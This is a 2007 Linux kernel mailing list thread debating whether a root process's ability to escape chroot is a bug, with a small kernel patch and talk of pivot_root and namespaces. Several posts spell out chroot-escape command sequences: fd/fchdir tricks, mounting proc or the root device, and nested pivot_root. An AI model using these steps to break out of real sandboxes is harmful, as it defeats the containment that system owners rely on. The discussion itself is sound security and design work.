Re: sys_chroot+sys_fchdir Fix

Re: sys_chroot+sys_fchdir Fix

[Bodo Eggert]

David Newall <david@davidnewall.com> wrote:

>> Normal users cannot use chroot() themselves so they can't use chroot to
>> get back out
> 
> I think Bill is right, that this is to fix a method that non-root
> processes can use to escape their chroot. The exploit, which is
> documented in chroot(2)*, is to chdir("..") your way out. Who'd have
> thought it? Only root can do that, but even that seems wrong. Chroot
> should be chroot and that should be the end of it.

chroot with having open directories outside the chroot is a convenience
feature, allowing e.g. to install programs into a different root while
opening the archives from another root tree. Only if there is a working
capability system preventing root from accessing the hardware*, a chroot
may become a security feature.

Off cause having the new fchdir, you might run "chroot /var/foo 3< /" in
order to pass a dir filehandle and compromise your own security, but this
is nothin a system should protect against.

The only problem I'm concerned about is passing a file descriptor to a
privileged, compromised process using an abstract unix socket. This combines
two different privileges, possibly increasing the impact of the attack.
I think it may be enough to not allow passing directory fds if the two
processes have different device/inode/namespace, but I'm not sure about
device fds.


*) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem
   should be enough to void most root-in-chroot setups. Very untested.
-- 
Funny quotes:
26. If you take an Oriental person and spin him around several times, does he
    become disoriented?
Friß, Spammer: hrzoi8.sT@gYjoOs.7eggert.dyndns.org zq@u1kq.7eggert.dyndns.org

Re: sys_chroot+sys_fchdir Fix

[Philipp Marek]

Please, everybody,

don't change that.

I'm currently using that *feature* (yes, I see it as that) in my
fsvs-chrooter-utility (see
http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
for easier usage of fsvs on older systems.

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Voila! fsvs can use the newest available libraries for that architecture,
without having to change the installed system.


Please, keep that feature - as already mentioned, UID 0 is required
anyway, and such processes can get out of (nearly) anything.


Regards,

Phil


-- 
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!

Re: sys_chroot+sys_fchdir Fix

[majkls]

Philipp Marek napsal(a):
> Please, everybody,
>
> don't change that.
>
> I'm currently using that *feature* (yes, I see it as that) in my
> fsvs-chrooter-utility (see
> http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
> for easier usage of fsvs on older systems.
>
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.
>
> Voila! fsvs can use the newest available libraries for that architecture,
> without having to change the installed system.
>
>   
So I thing this is an example how chroot would not be really used. For 
DSO loading there is many better ways to load own DSO. Though is this 
feature described in chroot() manpage, I have not noticed that any 
serious project uses it.  But ok, this is a ferature of chroot(). Also 
FreeBSD does not support escaping chroot AFAIK. So this feature is very 
badly portable.


Miloslav

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Philipp Marek wrote:
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.

Isn't that what pivot_root was meant for?

Re: sys_chroot+sys_fchdir Fix

[Philipp Marek]

On Thursday 20 September 2007 David Newall wrote:
> Philipp Marek wrote:
> > - User starts a small wrapper,
> > - that opens "/",
> > - chroot()s into a directory and starts fsvs.
> > - fsvs gets its libraries loaded
> > - and chroot()s back to the original system.
>
> Isn't that what pivot_root was meant for?
AFAIK pivot_root() changes the / mapping for *all* processes, no?

I just wanted to give *this* single process completely new library paths, even 
for delay-loaded things (like libnss) ...


Regards,

Phil


-- 
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Philipp Marek wrote:
> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>   

The manual page is confusing.  It even admits to being "intentionally 
vague".  However the goal seems clear:

    "pivot_root() moves the root file system of the current process to
    the directory put_old and makes new_root the new root file system of
    the current process"
    -- man 2 pivot_root

There's an argument that pivot_root could be improved...

Re: sys_chroot+sys_fchdir Fix

[Bill Davidsen]

David Newall wrote:
> Philipp Marek wrote:
>> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>>   
>
> The manual page is confusing.  It even admits to being "intentionally 
> vague".  However the goal seems clear:
>
>    "pivot_root() moves the root file system of the current process to
>    the directory put_old and makes new_root the new root file system of
>    the current process"
>    -- man 2 pivot_root
>
> There's an argument that pivot_root could be improved...
>
And very little argument that the man page could be improved, perhaps. 
However, there is no question that pivot_root is intended to have 
breadth for more than one process.

Keeping this functionality sounds a little like putting a bow tie and 
tux on your bug and calling it a "feature." Not all bugs are useless for 
legitimate purposes, but it doesn't make them safe. It appears to be a 
sort-of way to get per-process bind mounts.

-- 
bill davidsen <davidsen@tmr.com>
  CTO TMR Associates, Inc
  Doing interesting things with small computers since 1979

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Bill Davidsen wrote:
> there is no question that pivot_root is intended to have breadth for 
> more than one process. 

I think it's clear from the man page that the original idea was to be 
able to pivot_root for individual processes.  The reason it doesn't do 
that, the reason it affects all processes, is to work around the 
bootstrap problem, where processes that don't care what their root (or 
current) directory is are still using the original root.

An extra parameter could be added to specify which behavior is desired, 
probably defaulting to the current behavior. That would remove the need 
to use a chroot bug.

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Bill Davidsen wrote:
>> there is no question that pivot_root is intended to have breadth for more 
>> than one process. 
>
> I think it's clear from the man page that the original idea was to be able 
> to pivot_root for individual processes.  The reason it doesn't do that, the 
> reason it affects all processes, is to work around the bootstrap problem, 
> where processes that don't care what their root (or current) directory is 
> are still using the original root.
>
> An extra parameter could be added to specify which behavior is desired, 
> probably defaulting to the current behavior. That would remove the need to 
> use a chroot bug.

No reason for any new parameters to pivot_root.  Just clone your mounts
namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the
only way to go about having it "work with just one process".

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> No reason for any new parameters to pivot_root.  Just clone your mounts
> namespace first.
>
> 	unshare(CLONE_NEWNS);
> 	chdir(new_dir);
> 	pivot_root(new_dir, oldroot);
>
> Since pivot_root actually fiddles with the vfsmnts, this is really the
> only way to go about having it "work with just one process".

I think the point is that, whereas we'd like to be able to pivot the 
root for a single process, in practice this causes startup issues to 
which the easy solution is to pivot the whole system.  At least that's 
my reading of the man page.

It might be tidy if pivot_root could be used (instead of a hack based on 
a chroot bug), but it'd still be unportable.

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root.  Just clone your mounts
>> namespace first.
>>
>> 	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root 
> for a single process, in practice this causes startup issues to which the 
> easy solution is to pivot the whole system.  At least that's my reading of 
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a 
> chroot bug), but it'd still be unportable.

It can.

Please re-read my previous msg.

-serge

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root.  Just clone your mounts
>> namespace first.
>>
>> 	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root 
> for a single process, in practice this causes startup issues to which the 
> easy solution is to pivot the whole system.  At least that's my reading of 
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a 
> chroot bug), but it'd still be unportable.

Oh.  Yes, true, it is unportable.

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>   
>> It might be tidy if pivot_root could be used (instead of a hack based on a 
>> chroot bug), but it'd still be unportable.
>>     
>
> It can.
>
> Please re-read my previous msg.

I read it.  Currently pivot_root can't be used to affect a single 
process.  It can be modified; obviously.  Maybe it should be, too, but 
is there a need for that?

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> Quoting David Newall (david@davidnewall.com):
>>   
>>> It might be tidy if pivot_root could be used (instead of a hack based on 
>>> a chroot bug), but it'd still be unportable.
>>>     
>>
>> It can.
>>
>> Please re-read my previous msg.
>
> I read it.  Currently pivot_root can't be used to affect a single process.  

No.  If you unshare your mounts namespace immediately before pivot_root,
then pivot_root will only affect that single process.

> It can be modified; obviously.  Maybe it should be, too, but is there a 
> need for that?

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>   
>> Serge E. Hallyn wrote:
>>     
>>> Quoting David Newall (david@davidnewall.com):
>>>   
>>>       
>>>> It might be tidy if pivot_root could be used (instead of a hack based on 
>>>> a chroot bug), but it'd still be unportable.
>>>>     
>>>>         
>>> It can.
>>>
>>> Please re-read my previous msg.
>>>       
>> I read it.  Currently pivot_root can't be used to affect a single process.  
>>     
>
> No.  If you unshare your mounts namespace immediately before pivot_root,
> then pivot_root will only affect that single process.
>   

Bugger.  You're right, I didn't read your previous message; I thought I 
had but I was wrong.

>>	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);


After further RTFMing, and assuming "any processes or threads which  
use  the  old  root directory" means what you imply, and surely it does, 
then I agree: pivot_root already does the job.  Does anybody still need 
to use a bug in chroot?

Chroot bug (was: sys_chroot+sys_fchdir Fix)

[David Newall]

Miloslav Semler pointed out that a root process can chdir("..") out of 
its chroot.  Although this is documented in the man page, it conflicts 
with the essential function, which is to change the root directory of 
the process.  In addition to any creative uses, for example Philipp 
Marek's loading dynamic libraries, it seems clear that the prime purpose 
of chroot is to aid security.  Being able to cd your way out is handy 
for the bad guys, but the good guys don't need it; there are a thousand 
better, safer solutions.

If there truly is a need to be able to pop in and out of a chroot, then 
the solution should be obvious, such as with real versus effective user 
and group ids.  An important quality of a solution would be a way to fix 
that essential function: to set the root in such a way that you can no 
longer pop out.  But that is a separate question.

The question: is chroot buggy?  I'm pleased to turn to SCO for an 
independent definition for chroot, from which I get the following:

http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
>
> The *..* entry in the root directory is interpreted to mean the root 
> directory itself. Thus, *..* cannot be used to access files outside 
> the subtree rooted at the root directory.
>

I argue chroot is buggy.  Miloslav's patch might not be the right 
solution, but he has the right idea (i.e. fix it.)

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Jan Engelhardt]

On Sep 26 2007 00:40, David Newall wrote:
>
> Miloslav Semler pointed out that a root process can chdir("..") out of its
> chroot.  Although this is documented in the man page, it conflicts with the
> essential function, which is to change the root directory of the process.  In
> addition to any creative uses, for example Philipp Marek's loading dynamic
> libraries, it seems clear that the prime purpose of chroot is to aid security.
> Being able to cd your way out is handy for the bad guys, but the good guys
> don't need it; there are a thousand better, safer solutions.

So what? Just do this: chdir into the root after chroot.

It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some
sane standard ain't bad either. I doubt anyone really relies on the
fact that after chroot, your cwd might be outside the root.

Signed-off-by: Jan Engelhardt <jengelh@gmx.de>

---
 fs/open.c |    1 +
 1 file changed, 1 insertion(+)

Index: linux-2.6.23/fs/open.c
===================================================================
--- linux-2.6.23.orig/fs/open.c
+++ linux-2.6.23/fs/open.c
@@ -547,6 +547,7 @@ asmlinkage long sys_chroot(const char __
 
 	set_fs_root(current->fs, nd.mnt, nd.dentry);
 	set_fs_altroot();
+	set_fs_pwd(current->fs, nd.mnt, nd.dentry);
 	error = 0;
 dput_and_out:
 	path_release(&nd);

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Alan Cox]

> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> of chroot is to aid security.  Being able to cd your way out is handy 

Does it - I can't find any evidence for that. I think you are confusing
containers and chroot. They are quite different things. A root user can
get out of a chroot a million different ways

Alan

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Adrian Bunk]

On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:

> Miloslav Semler pointed out that a root process can chdir("..") out of its 
> chroot.  Although this is documented in the man page, it conflicts with the 
> essential function, which is to change the root directory of the process.  
> In addition to any creative uses, for example Philipp Marek's loading 
> dynamic libraries, it seems clear that the prime purpose of chroot is to 
> aid security.  Being able to cd your way out is handy for the bad guys, but 
> the good guys don't need it; there are a thousand better, safer solutions.
>...

The bad guys most likely also now other tricks to escape the chroot.

If you are root in the chroot you can e.g. mount the partition with the 
root filesystem inside the chroot.

If a bad guy becomes root inside a chroot it's game over.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>> Marek's loading dynamic libraries, it seems clear that the prime purpose 
>> of chroot is to aid security.  Being able to cd your way out is handy 
>>     
>
> Does it - I can't find any evidence for that.

It seems self-evident to me.  What do you think is it prime purpose?


> A root user can get out of a chroot a million different ways

One of those ways shouldn't be that chroot lets you out.

Re: Chroot bug

[Miloslav Semler]

> On Sep 26 2007 00:40, David Newall wrote:
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>> chroot.  Although this is documented in the man page, it conflicts with the
>> essential function, which is to change the root directory of the process.  In
>> addition to any creative uses, for example Philipp Marek's loading dynamic
>> libraries, it seems clear that the prime purpose of chroot is to aid security.
>> Being able to cd your way out is handy for the bad guys, but the good guys
>> don't need it; there are a thousand better, safer solutions.
>>     
>
> So what? Just do this: chdir into the root after chroot.
>
> It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some
> sane standard ain't bad either. I doubt anyone really relies on the
> fact that after chroot, your cwd might be outside the root.
>   
so then you corrupt pwd. I think that working directory should be set 
only if it is necessary. Fn directory_is_out is not big performace loss. 
And also you can break this fix with fchdir.

Miloslav

Re: Chroot bug

[David Newall]

Jan Engelhardt wrote:
> On Sep 26 2007 00:40, David Newall wrote:
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>> chroot.
> So what? Just do this: chdir into the root after chroot.
>   

I don't think so.  His exploit just got me all the way out of a chroot 
within a chroot within a chroot, inclusive of lots of chdirs.

Re: Chroot bug

[Miloslav Semler]

Adrian Bunk napsal(a):
> On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:
>
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its 
>> chroot.  Although this is documented in the man page, it conflicts with the 
>> essential function, which is to change the root directory of the process.  
>> In addition to any creative uses, for example Philipp Marek's loading 
>> dynamic libraries, it seems clear that the prime purpose of chroot is to 
>> aid security.  Being able to cd your way out is handy for the bad guys, but 
>> the good guys don't need it; there are a thousand better, safer solutions.
>> ...
>>     
>
> The bad guys most likely also now other tricks to escape the chroot.
>
> If you are root in the chroot you can e.g. mount the partition with the 
> root filesystem inside the chroot.
>
> If a bad guy becomes root inside a chroot it's game over.
>   
but why there keep 1000001th. It is same as:
There is milion ways howto dos your system.. Then we needn't repair bugs...
> cu
> Adrian
>
>   

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 16:48, Alan Cox wrote:
>David Newall <david@davidnewall.com> wrote:
>> Alan Cox wrote:
>>>>
>>>> Marek's loading dynamic libraries, it seems clear that the prime
>>>> purpose of chroot is to aid security.  Being able to cd your way
>>>> out is handy
>>>
>>> Does it - I can't find any evidence for that.
>>
>> It seems self-evident to me.  What do you think is it prime purpose?
>
>Debugging and testing. At least that is as I understand it much of where
>it came from.
>
>>> A root user can get out of a chroot a million different ways

Uhm, you _do_ have considered the case of setuid(non-0)-after-chroot,
have not you?

Re: Chroot bug

[Alan Cox]

On Wed, 26 Sep 2007 01:05:07 +0930
David Newall <david@davidnewall.com> wrote:

> Alan Cox wrote:
> >> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> >> of chroot is to aid security.  Being able to cd your way out is handy 
> >>     
> >
> > Does it - I can't find any evidence for that.
> 
> It seems self-evident to me.  What do you think is it prime purpose?

Debugging and testing. At least that is as I understand it much of where
it came from.

> > A root user can get out of a chroot a million different ways
> One of those ways shouldn't be that chroot lets you out.

A fence with 10000 open gates is not improved by turning it into a fence
with 9999 open gates. 

Re: Chroot bug

[Jan Engelhardt]

On Sep 26 2007 01:11, David Newall wrote:
> Jan Engelhardt wrote:
>> On Sep 26 2007 00:40, David Newall wrote:
>>   
>> > Miloslav Semler pointed out that a root process can chdir("..") out of its
>> > chroot.
>> So what? Just do this: chdir into the root after chroot.
>
> I don't think so.  His exploit just got me all the way out of a chroot within a
> chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

Re: Chroot bug

[Adrian Bunk]

On Tue, Sep 25, 2007 at 05:43:58PM +0200, Miloslav Semler wrote:
> Adrian Bunk napsal(a):
>> On Wed, Sep 26, 2007 at 12:40:27AM +0930, David Newall wrote:
>>
>>   
>>> Miloslav Semler pointed out that a root process can chdir("..") out of 
>>> its chroot.  Although this is documented in the man page, it conflicts 
>>> with the essential function, which is to change the root directory of the 
>>> process.  In addition to any creative uses, for example Philipp Marek's 
>>> loading dynamic libraries, it seems clear that the prime purpose of 
>>> chroot is to aid security.  Being able to cd your way out is handy for 
>>> the bad guys, but the good guys don't need it; there are a thousand 
>>> better, safer solutions.
>>> ...
>>>     
>>
>> The bad guys most likely also now other tricks to escape the chroot.
>>
>> If you are root in the chroot you can e.g. mount the partition with the 
>> root filesystem inside the chroot.
>>
>> If a bad guy becomes root inside a chroot it's game over.
>>   
> but why there keep 1000001th. It is same as:
> There is milion ways howto dos your system.. Then we needn't repair bugs...

Either something is aimed at being secure or it's not aimed at being 
secure.

For chroot it's documented that it does not prevent root from escaping 
the chroot so that's expected behavior, not a bug.

And regarding security, there's no difference whether there is 1 way or 
whether there are 1000001 ways for root to escape the chroot.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug

[Miloslav Semler]

>>> So what? Just do this: chdir into the root after chroot.
>>>       
>> I don't think so.  His exploit just got me all the way out of a chroot within a
>> chroot within a chroot, inclusive of lots of chdirs.
>>     
>
> Close all fds that point to directories outside the root ;-)
>
>   
This  does not help.  Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.

Re: Chroot bug

[Arjan van de Ven]

On Wed, 26 Sep 2007 01:05:07 +0930
David Newall <david@davidnewall.com> wrote:

> Alan Cox wrote:
> >> Marek's loading dynamic libraries, it seems clear that the prime
> >> purpose of chroot is to aid security.  Being able to cd your way
> >> out is handy 
> >
> > Does it - I can't find any evidence for that.
> 
> It seems self-evident to me.  What do you think is it prime purpose?
> 
> 

the prime purpose is that you can have different sets of userspace libs
for testing or parallel deployment (for example this is used in many
distribution build systems)

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 18:19, Miloslav Semler wrote:
>> > > So what? Just do this: chdir into the root after chroot.
>> > >       
>> > I don't think so.  His exploit just got me all the way out of a chroot
>> > within a
>> > chroot within a chroot, inclusive of lots of chdirs.
>> >     
>>
>> Close all fds that point to directories outside the root ;-)
>>   
> This  does not help.  Let's try:
> chroot somewhere
> mkdir foo
> fd = open /
> chroot foo

('fd' implicitly closed and chdir to /foo)

> fchdir fd

-EINVAL

> chdir ".."

/../ => /

> ....
> chdir ".."
> chroot "."
> so you are in root.

so we remain in chroot.

Re: Chroot bug

[Serge E. Hallyn]

Quoting Miloslav Semler (majkls@prepere.com):
>
>>>> So what? Just do this: chdir into the root after chroot.
>>>>       
>>> I don't think so.  His exploit just got me all the way out of a chroot 
>>> within a
>>> chroot within a chroot, inclusive of lots of chdirs.
>>>     
>>
>> Close all fds that point to directories outside the root ;-)
>>
>>   
> This  does not help.  Let's try:
> chroot somewhere
> mkdir foo
> fd = open /
> chroot foo
> fchdir fd
> chdir ".."
> ....
> chdir ".."
> chroot "."
> so you are in root.
>

Yes, to understand why that doesn't work it helps to understand why
pivot_root *does* work.  Pivot_root takes the new_root, which must be
a mount, and detaches it from it's mountpoint.  So it's not that we
try to intercept a chdir(root_dir/..), but rather we remove root_dir
from it's parent dir so that root_dir/.. must always return root_dir.

I'm sorry but I really don't see where hacking chroot to try and
detect and prevent chroot escapes is going to be acceptable to
anyone so long as pivot_root does the trick anyway.  If you want
portable, then write a little linux-only safe_chroot() library call
which does unshare();pivot_root() on linux and just chroot on a
system that does try to stop chroot escapes.

Besides as others have alluded to, if you have root privs, you can
always mknod /dev/hda1, mount that under /mnt, and then chroot or
pivot_root to there.

The containers work will, in fact, be intended to be a *safe*
jail.  That'll happen through pivot_root, capability masking,
perhaps device namespaces, etc.  But a secure container is still
a ways off.

-serge

Re: Chroot bug

[Miloslav Semler]

>> This  does not help.  Let's try:
>> chroot somewhere
>> mkdir foo
>> fd = open /
>> chroot foo
>>     
>
> ('fd' implicitly closed and chdir to /foo)
>   
Really? Try it. I am sure, that this works. You can create directory in 
chroot and break chroot by this. fd is not closed, because linux doesn't 
close descriptors by chroot syscall. this can be done every time if you 
have CAP_SYS_CHROOT.
>   
>> fchdir fd
>>     
>
> -EINVAL
>
>   
>> chdir ".."
>>     
>
> /../ => /
>
>   
>> ....
>> chdir ".."
>> chroot "."
>> so you are in root.
>>     
>
> so we remain in chroot.
>   

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 19:00, Miloslav Semler wrote:
>> > This  does not help.  Let's try:
>> > chroot somewhere
>> > mkdir foo
>> > fd = open /
>> > chroot foo
>> >     
>>
>> ('fd' implicitly closed and chdir to /foo)
>>   
> Really? Try it. I am sure, that this works. You can create directory in chroot
> and break chroot by this. fd is not closed, because linux doesn't close
> descriptors by chroot syscall. this can be done every time if you have
> CAP_SYS_CHROOT.

In case you have not followed my earlier email, I'll repost:

|>> So what? Just do this: chdir into the root after chroot.
|>
|> I don't think so.  His exploit just got me all the way out of a 
|> chroot within a chroot within a chroot, inclusive of lots of 
|> chdirs.
|>
|
|Close all fds that point to directories outside the root ;-)

Perhaps that was formulated a bit sloppy. It of course means
"On chroot(2), implicitly close all FDs that point outside."

Re: Chroot bug

[Miloslav Semler]

Jan Engelhardt napsal(a):
> On Sep 25 2007 19:00, Miloslav Semler wrote:
>   
>>>> This  does not help.  Let's try:
>>>> chroot somewhere
>>>> mkdir foo
>>>> fd = open /
>>>> chroot foo
>>>>     
>>>>         
>>> ('fd' implicitly closed and chdir to /foo)
>>>   
>>>       
>> Really? Try it. I am sure, that this works. You can create directory in chroot
>> and break chroot by this. fd is not closed, because linux doesn't close
>> descriptors by chroot syscall. this can be done every time if you have
>> CAP_SYS_CHROOT.
>>     
>
> In case you have not followed my earlier email, I'll repost:
>
> |>> So what? Just do this: chdir into the root after chroot.
> |>
> |> I don't think so.  His exploit just got me all the way out of a 
> |> chroot within a chroot within a chroot, inclusive of lots of 
> |> chdirs.
> |>
> |
> |Close all fds that point to directories outside the root ;-)
>
> Perhaps that was formulated a bit sloppy. It of course means
> "On chroot(2), implicitly close all FDs that point outside."
>   
yes, but I can use fds from chroot ;-) ....

Re: Chroot bug

[Al Viro]

On Tue, Sep 25, 2007 at 07:05:06PM +0200, Jan Engelhardt wrote:

> Perhaps that was formulated a bit sloppy. It of course means
> "On chroot(2), implicitly close all FDs that point outside."

Bollocks.  Pack 'em into SCM_RIGHTS datagram, send to yourself,
do chroot, recvmsg() and move on, cheerfully spitting at the
YAidiotic "hardening".

Re: Chroot bug

[Miloslav Semler]

> On Tue, Sep 25, 2007 at 07:05:06PM +0200, Jan Engelhardt wrote:
>
>   
>> Perhaps that was formulated a bit sloppy. It of course means
>> "On chroot(2), implicitly close all FDs that point outside."
>>     
>
> Bollocks.  Pack 'em into SCM_RIGHTS datagram, send to yourself,
> do chroot, recvmsg() and move on, cheerfully spitting at the
> YAidiotic "hardening".
>   
so if you check sanity in fchdir (if directory_is_out), your method will 
not succeed :)

Re: Chroot bug

[David Newall]

Jan Engelhardt wrote:
> On Sep 26 2007 01:11, David Newall wrote:
>   
>> Jan Engelhardt wrote:
>>     
>>> On Sep 26 2007 00:40, David Newall wrote:
>>>   
>>>       
>>>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>>>> chroot.
>>>>         
>>> So what? Just do this: chdir into the root after chroot.
>>>       
>> I don't think so.  His exploit just got me all the way out of a chroot within a
>> chroot within a chroot, inclusive of lots of chdirs.
>>     
>
> Close all fds that point to directories outside the root ;-)
>   

Nope, still gets out.

Re: Chroot bug

[David Newall]

Alan Cox wrote:
> On Wed, 26 Sep 2007 01:05:07 +0930
> David Newall <david@davidnewall.com> wrote:
>> Alan Cox wrote:
>>     
>>>> Marek's loading dynamic libraries, it seems clear that the prime purpose 
>>>> of chroot is to aid security.  Being able to cd your way out is handy 
>>>>     
>>>>         
>>> Does it - I can't find any evidence for that.
>>>       
>> It seems self-evident to me.  What do you think is it prime purpose?
>>     
>
> Debugging and testing. At least that is as I understand it much of where
> it came from.
>   

Good call.  Though I suppose, since it's used 24x7 to aid security on 
countless production servers, that security dwarfs testing.  Still, 
debugging, yes that's valid.

I don't suppose it makes and difference; whatever the purpose, a chroot 
that doesn't change the root is buggy.

Re: Chroot bug

[Alan Cox]

> Good call.  Though I suppose, since it's used 24x7 to aid security on 
> countless production servers, that security dwarfs testing.  Still, 
> debugging, yes that's valid.
> 
> I don't suppose it makes and difference; whatever the purpose, a chroot 
> that doesn't change the root is buggy.

It does change the root, it just doesn't guarantee you can't change it
back - which is correct POSIX, Unix, SuS behaviour. So either everyone
else is wrong or you are.. I know who I am betting on

Re: Chroot bug

[Adrian Bunk]

On Wed, Sep 26, 2007 at 09:20:54AM +0930, David Newall wrote:
> Alan Cox wrote:
>> On Wed, 26 Sep 2007 01:05:07 +0930
>> David Newall <david@davidnewall.com> wrote:
>>> Alan Cox wrote:
>>>     
>>>>> Marek's loading dynamic libraries, it seems clear that the prime 
>>>>> purpose of chroot is to aid security.  Being able to cd your way out is 
>>>>> handy             
>>>> Does it - I can't find any evidence for that.
>>>>       
>>> It seems self-evident to me.  What do you think is it prime purpose?
>>>     
>>
>> Debugging and testing. At least that is as I understand it much of where
>> it came from.
>>   
>
> Good call.  Though I suppose, since it's used 24x7 to aid security on 
> countless production servers, that security dwarfs testing.  Still, 
> debugging, yes that's valid.

Incompetent people implementing security solutions are a real problem.

> I don't suppose it makes and difference; whatever the purpose, a chroot 
> that doesn't change the root is buggy.

It does change the root.

But it does not limit what the root user can do after the root was 
changed.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug

[Kyle Moffett]

On Sep 25, 2007, at 20:55:51, Adrian Bunk wrote:
> On Wed, Sep 26, 2007 at 09:20:54AM +0930, David Newall wrote:
>> Good call.  Though I suppose, since it's used 24x7 to aid security  
>> on countless production servers, that security dwarfs testing.   
>> Still, debugging, yes that's valid.
>
> Incompetent people implementing security solutions are a real problem.
>
>> I don't suppose it makes and difference; whatever the purpose, a  
>> chroot that doesn't change the root is buggy.
>
> It does change the root.
>
> But it does not limit what the root user can do after the root was  
> changed.

This is required for most distro installers to work:

*Procedure to install files*
chroot /target
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t tmpfs tmpfs /dev
udevd --daemon
udevtrigger
udevsettle
mount /dev/cdrom0 /media/cdrom0
*Load more kernel modules*
*Procedure to configure newly-installed system*
*Do other highly-privileged operations*
*Configure networking and submit installation report*
*Reboot*

David, please do tell myself and Adrian how "locking down" chroot()  
the way you want will avoid letting root break out through any of the  
above ways?

Hell, after you chroot one could probably just run:
   mount --bind /minimal_root /minimal_root
   cd /minimal_root
   mkdir old
   pivot_root . old
   cd /old
   mkdir old_minimal_root
   pivot_root . old_minimal_root
   umount /old_minimal_root
   rmdir /old_minimal_root
Now, like magic, the entire system is once more accessible.

Alternatively you could:
   mount -t proc proc /proc
   cat /proc/1/mounts
   mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Either way root can trivially break out of any chroot using  
FUNDAMENTAL PRIMITIVES that he/she always has access to.  If you want  
to take those away you have to use SELinux or capabilities, in which  
case you could just take away the CAP_SYS_CHROOT capability in the  
first place!

Cheers,
Kyle Moffett

Re: Chroot bug

[Willy Tarreau]

On Wed, Sep 26, 2007 at 01:21:08AM -0400, Kyle Moffett wrote:
(...)
> Now, like magic, the entire system is once more accessible.
> 
> Alternatively you could:
>   mount -t proc proc /proc
>   cat /proc/1/mounts
>   mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Since 2.6.20, it was even simpler :
   mount -t proc proc /proc
   cd /proc/1/cwd

Cheers,
Willy

Re: sys_chroot+sys_fchdir Fix

[Nick Craig-Wood]

Al Viro <viro@ftp.linux.org.uk> wrote:
>  If you are within chroot jail and capable of chroot(), you can chdir to
>  its root, then chroot() to subdirectory and you've got cwd outside of
